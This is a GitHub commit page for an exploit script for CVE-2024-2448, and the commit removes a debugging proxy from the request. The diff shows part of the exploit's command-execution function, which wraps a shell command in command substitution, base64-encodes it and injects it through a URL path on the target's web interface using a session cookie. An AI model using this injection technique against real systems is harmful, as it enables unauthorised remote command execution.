Skip to content

Commit

Permalink
Update CVE-2024-2448.py
Browse files Browse the repository at this point in the history
Remove proxy
  • Loading branch information
DaveYesland authored Nov 8, 2024
1 parent 1b115b5 commit ceb6882
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion CVE-2024-2448/CVE-2024-2448.py
Original file line number Diff line number Diff line change
Expand Up @@ -31,7 +31,7 @@ def exec_command(cmd, cookie, host):
cmd = f"$({cmd} 1>&2)"
encoded_cmd = base64.b64encode(cmd.encode()).decode()
url = f"{host}/progs/hg_cfg/add_rs/{encoded_cmd}"
response = requests.get(url, headers=get_headers(host, cookie), verify=False, proxies={"https":"http://192.168.0.11:8080"})
response = requests.get(url, headers=get_headers(host, cookie), verify=False)
print(get_cmd_output(response.text))
cleanup(cookie, host)

Expand Down

0 comments on commit ceb6882

Please sign in to comment.